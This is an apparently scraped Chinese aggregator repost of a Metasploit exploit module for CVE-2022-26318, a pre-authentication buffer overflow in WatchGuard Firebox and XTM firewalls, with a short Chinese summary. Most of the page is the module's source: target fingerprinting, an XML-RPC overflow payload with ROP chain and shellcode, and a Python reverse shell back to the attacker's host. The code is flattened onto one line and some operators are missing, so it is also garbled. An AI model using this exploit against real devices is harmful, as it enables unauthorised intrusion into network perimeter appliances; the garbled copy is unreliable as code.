The Exploit Database - CXSecurity.com 2024年07月05日
WatchGuard XTM Firebox Unauthenticated Remote Command Execution
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

该模块利用WatchGuard Firebox和XTM设备管理界面的缓冲区溢出漏洞,可实现远程代码执行,影响特定版本的Fireware OS。

🎯此漏洞存在于WatchGuard Firebox和XTM设备的管理界面(8080或4117端口),由cherrypy python后端发送XML-RPC请求到C二进制文件wgagent的预认证端点/agent/login时引发缓冲区溢出。

💥该漏洞影响Fireware OS 12.7.2_U2之前版本、12.x中12.1.3_U8之前版本以及12.2.x至12.5.x中12.5.9_U2之前版本,成功利用可导致以用户nobody身份进行远程代码执行。

🛠模块创建了一个包含大量填充和rop链的xml溢出有效负载,通过发送特定请求来利用此漏洞,实现远程代码执行并获取反向交互式Python shell。

This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'zlib'class MetasploitModule < Msf::Exploit::RemoteRank = GoodRankinginclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheckdef initialize(info = {})super(update_info(info,'Name' => 'WatchGuard XTM Firebox Unauthenticated Remote Command Execution','Description' => %q{This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Fireboxand XTM appliances which is built from a cherrypy python backend sending XML-RPC requests to a C binarycalled wgagent using pre-authentication endpoint /agent/login.This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.xbefore 12.5.9_U2. Successful exploitation results in remote code execution as user nobody.},'Author' => ['h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module'Charles Fol (Ambionics Security)', # discovery'Dylan Pindur (AssetNote)', # reverse engineering of CVE-2022-26318''Misterxid' # POC],'References' => [[ 'CVE', '2022-26318' ],[ 'URL', 'https://www.ambionics.io/blog/hacking-watchguard-firewalls' ],[ 'URL', 'https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318' ],[ 'URL', 'https://github.com/misterxid/watchguard_cve-2022-26318' ],[ 'URL', 'https://attackerkb.com/topics/t8Nrnu99ZE/cve-2022-26318' ]],'License' => MSF_LICENSE,'Platform' => [ 'unix' ],'Privileged' => false,'Arch' => [ ARCH_CMD ],'Targets' => [['Automatic (Reverse Python Interactive Shell)',{'Platform' => [ 'unix' ],'Arch' => ARCH_CMD,'Type' => :unix_cmd,'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python','SHELL' => '/usr/bin/python'}}]],'DefaultTarget' => 0,'DisclosureDate' => '2022-08-29','DefaultOptions' => {'SSL' => true,'RPORT' => 8080},'Notes' => {'Stability' => [ SERVICE_RESOURCE_LOSS ],'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],'Reliability' => [ REPEATABLE_SESSION ]}))register_options([OptString.new('TARGETURI', [ true, 'WatchGuard Firebox base url', '/' ])])enddef check_watchguard_firebox?res = send_request_cgi({'method' => 'GET','uri' => normalize_uri(target_uri.path, 'auth', 'login'),'vars_get' => {'from_page' => '/'}})return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox')falseenddef create_bof_payload# temporary filename in /tmp where python payload will be stored.@py_fname = "/tmp/#{Rex::Text.rand_text_alphanumeric(4)}.py"# xml overflow payloadpayload = '<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'.encodepayload << ('A' 3181).encodepayload << 'MFA>'.encodepayload << ('<BBBBMFA>' 3680).encode# padding and rop chainpayload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00"payload << "\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6"payload << "\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00"payload << "\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;"payload << "\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00"payload << "\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00#{datastore['SHELL']}\x00#{@py_fname}\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef"payload << "\x01\x00\x00\x00\x00\x00\x00"# shell code to launch an reverse interactive python shell# The Watchguard appliance has a very restricted linux command set, readonly root filesystem and no unix shells installed# The interactive Python shell (-i) is for now the only way to get shell accesspayload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encodepayload << "s.connect((\"#{datastore['LHOST']}\",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);".encodepayload << "call([\"#{datastore['SHELL']}\",\"-i\"]);".encodepayload << "import os; os.remove(\"#{@py_fname}\");".encodereturn Zlib.gzip(payload)enddef checkprint_status("Checking if #{peer} can be exploited.")return CheckCode::Detected if check_watchguard_firebox?CheckCode::Safeenddef exploitprint_status("#{peer} - Attempting to exploit...")bof_payload = create_bof_payloadprint_status("#{peer} - Sending payload...")send_request_cgi({'method' => 'POST','uri' => normalize_uri(target_uri.path, 'agent', 'login'),'headers' => {'Accept-Encoding' => 'gzip, deflate','Content-Encoding' => 'gzip'},'data' => bof_payload})endend

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

WatchGuard Firebox 缓冲区溢出 远程代码执行
相关文章